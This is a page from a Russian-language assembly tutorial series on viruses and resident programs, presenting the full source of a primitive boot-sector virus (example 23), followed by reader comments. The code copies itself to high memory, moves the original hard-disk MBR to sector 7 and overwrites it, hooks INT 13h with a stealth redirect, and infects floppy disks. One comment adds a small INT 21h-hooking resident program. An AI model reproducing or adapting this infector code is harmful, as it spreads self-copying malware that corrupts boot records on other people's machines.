Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:
реклама

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.

Назад | Далее

     Вот готовая программа:

      -----------------------------------------------------------¬
      ¦                         пример 23                        ¦:
      L-----------------------------------------------------------

.286p
TITLE   Это - COM. программа N23 -- примитивный бутовый вирус
ASSUME        CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment   SEGMENT PARA
              ORG(100h)
Start:
MainProcedure PROC NEAR
              ;
              ;                                   ;внимание! -- при имплан-
              ;                                   ;  тации в область MBR
              ;                                   ;  сектор должен заканчиваться
              ;                                   ;  сигнфтурой  55AAh
              ;
Code_begining:CLI                                 ;¬
              XOR   AX,AX                         ;+SS:SP = 0000:7C00
              MOV   SS,AX                         ;¦   перед областью
              MOV   SP,7C00h                      ;-   загруженного кода
              MOV   SI,SP                         ;SI = 7C00
              MOV   DS,AX                         ;DS = 0
              STI                                 ;AX = 0
              ;
              MOV   BX,word ptr DS:[0413h]        ;¬количество свободной
              DEC   BX                            ;+памяти уменшилось на 1 Кб
              MOV   word ptr DS:[0413h],BX        ;-
              SHL   BX,06                         ;TES = сегмент начала свобод-
              MOV   ES,BX                         ;-     ной памяти
              XOR   DI,DI                         ;DI = 0
              MOV   CX,0100h                      ;¬
              CLD                                 ;+пересылаем данный сектор
              REPNE MOVSW                         ;-     в освобожден. область
              ;
              PUSH  ES                            ;¬
              MOV   BX,Continue_work-Code_begining;+продолжаем выполнение уже
              PUSH  BX                            ;¦     в пересланном коде
              RETF                                ;-
              ;
              ;
Continue_work:MOV   DX,0080h                      ;¬ side 0   disk 1
              MOV   CX,0001h                      ;¦ cyl  0   sect 7
              MOV   BX,7C00h                      ;¦
              PUSH  DS                            ;¦читаем  MBR  винчестера
              POP   ES                            ;+(001) в буфер по адресу
              MOV   AX,0201h                      ;¦       0000:7C00h
              INT   13h                           ;-
              ;
              MOV   AX,word ptr DS:[4Ch]          ;сохраняем вектор 21h
              MOV   word ptr CS:[jmp_old_int13-Code_begining+1],AX
              MOV   AX,word ptr DS:[4Eh]
              MOV   word ptr CS:[jmp_old_int13-Code_begining+3],AX
              CLI
              MOV   word ptr DS:[4Ch],Resident13_begining-Code_begining
              MOV   word ptr DS:[4Eh],CS          ;перехватываем вектор 21h
              STI
              ;
              ;
              CMP   word ptr ES:[7C0Fh],01E8Bh    ;¬
              JNE   treat_it                      ;+проверяем, есть ли
              CMP   word ptr ES:[7C18h],0E3C1h    ;¦в MBR сигнатура
              JE    no_treat_it                   ;-

treat_it:     MOV   CX,0007h                      ;¬
              MOV   AX,0301h                      ;+перемещаем оригинальн. MBR
              INT   13h                           ;-
              ;
              PUSH  CS                            ;¬
              POP   ES                            ;¦
              XOR   BX,BX                         ;+замещаем оригинальн. MBR
              MOV   CX,0001h                      ;¦собственным кодом
              MOV   AX,0301h                      ;¦
              INT   13h                           ;-

no_treat_it:  DB    0EAh,00,7Ch,00,00             ;JMP far 0000:7C00h
              ;
              ;
Resident13_begining:
              CMP   DX,0080h                      ;¬
              JNE   no_stealth                    ;¦
              CMP   CX,0001h                      ;+включение
              JNE   no_stealth                    ;¦stealth-режима
              CMP   AH,02h                        ;¦
              JNE   no_stealth                    ;¦
              MOV   CX,0007h                      ;¦
              JMP   short jmp_old_int13           ;-
              ;
no_stealth:   CMP   DL,01h                        ;проверка работы с
              JA    jmp_old_int13                 ;  дисководами
              PUSH  AX
              PUSH  BX
              PUSH  CX
              PUSH  DX
              PUSH  ES

              XOR   AX,AX                         ;проверяем, включен ли
              MOV   ES,AX                         ;  уже мотор дисковода
              TEST  byte ptr ES:[043Fh],1         ;
              JNZ   motor_started                 ;

              XOR   BX,BX                         ;¬
              PUSH  CS                            ;+обработка дискеты
              POP   ES                            ;¦
              MOV   DH,00                         ;¦
              MOV   CX,0001h                      ;¦
              MOV   AX,0301h                      ;¦
              PUSHF                               ;¦
              PUSH  CS                            ;-
              CALL  jmp_old_int13

motor_started:POP   ES
              POP   DX
              POP   CX
              POP   BX
              POP   AX
jmp_old_int13:                                    ;¬возврат управления DOS-у
              DB    0EAh,00,00,00,00              ;-JMP far ????:????h
              ;
              ;
Resident_ending:
              ;
              ;
              ;
MainProcedure ENDP
              ;
CodeSegment   ENDS
              END Start


     Для некоторой оптимизации предусмотрено вот что:  резидент заражает дис-
кету только если  мотор  дисковода еще не включен  (самое  первое обращение к
дискете).

Назад | Далее

Оставить комментарий

Комментарий:
можно использовать BB-коды
Максимальная длина комментария - 4000 символов.
 

Комментарии

1.
62K
06 июля 2010 года
first zero
0 / / 06.07.2010
Мне нравитсяМне не нравится
6 июля 2010, 00:29:42
как скачать статью ???? что бы из компа не читать
2.
Аноним
Мне нравитсяМне не нравится
25 мая 2006, 23:52:24
Материал-супер!Отличная, превосходная статья!Спасибо автору за классный ликбез!!!
3.
Аноним
Мне нравитсяМне не нравится
20 февраля 2006, 12:06:02
Кто-нибуть поделитесь ссылкой на литературу и инструментарий
рекомендованый на первой странице ПЛИЗ...
Из всего что перечисоено нашел только :
TASM 5.0
ADF
hiew 7.26
и
Питер Абель. Язык ассемблера для IBM PC и программирования.
4.
Аноним
Мне нравитсяМне не нравится
30 декабря 2005, 13:45:58
Как делать резидентными exe-шники???
Я замучался с этим!
Если можете дать ответ, то чиркните его мне на mail:
Meatcoins@rambler.ru
Заранее спасибо!!!
5.
Аноним
Мне нравитсяМне не нравится
30 декабря 2005, 13:43:29
Почему-то эта програмка не работает!!!


.model small
.stack 100h
.code

start:
jmp initial
gio: dd 0

treater:
push ax
mov ax,0007h
int 29h
pop ax
;pushf
;push cs
;push dx
jmp dword ptr cs:[gio]
;popf
endu:

initial:
xor ax,ax
mov ds,ax

mov ax,ds:[21h*4]
mov word ptr cs:[gio],ax
mov ax,ds:[21h*4+2]
mov word ptr cs:[gio+2],ax

mov ax,offset treater
mov word ptr ds:[21h*4],ax
mov ax,dgroup
mov word ptr ds:[21h*4+2],ax

;mov ax,2700h
mov dx,offset endu
int 27h

;mov ax,4C00h
;int 21h

end start
6.
Аноним
Мне нравитсяМне не нравится
2 декабря 2005, 04:35:52
Из самых искренних чуйств спасибо людям, которые енто сколбасили. Hasta la victoria siemre!
7.
Аноним
Мне нравитсяМне не нравится
2 декабря 2005, 04:32:55
мдя... я рад... мдя-а-а... :) гы..
будим теперь всей брагой грызть гранит, который качали около часа... ну спасибки ребята!!! Ничё подобного не мог найти, а тут нате вам.
8.
Аноним
Мне нравитсяМне не нравится
27 сентября 2005, 01:04:39
Мммда-с, хорошие "вредные" советы. спасибочки-с. Разбиваю здесь свой лагерь.
9.
Аноним
Мне нравитсяМне не нравится
13 сентября 2005, 05:51:23
чуваки я вам благодарен поучусь немного попрактикуюсь и надеюсь примкну к вашему числу
10.
Аноним
Мне нравитсяМне не нравится
18 июля 2005, 03:58:31
Класно! Хотелось бы еще чего-нибудь в таком же стиле.
11.
Аноним
Мне нравитсяМне не нравится
7 марта 2005, 03:51:37
...хотел добавить ...прочел все и всечто я сказал относится ко всему....ну блин офигенный сайт!!!!!!!!!!!
Все!!! Я здесь живу.....

P.S.: "встанем стеной антихакерской,
против дурного народа,
тот что решил все сломать,
зубы сломает об нас..."
12.
Аноним
Мне нравитсяМне не нравится
7 марта 2005, 03:45:10
Зесь не только надо сказать спасибо, я блин уважаю того кто это написал...Так держать!.....мне такая информация .... во как нужна... нигде не мог найти,а сдесь....все если чё парни,я на вашей стороне все предложения прошу отсылать на мыльник.....а вообще это крута!!!!!!!!!!!!!!!!
13.
Аноним
Мне нравитсяМне не нравится
2 марта 2005, 00:27:42
да, действительно стоит сказать спасибо!
;)
14.
Аноним
Мне нравитсяМне не нравится
11 февраля 2005, 00:30:34
ну и статейка....я ее несколько часов качал...теперь главное разобраться....мне ее на несколько недель хватит....
P.S.
молодцы!
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог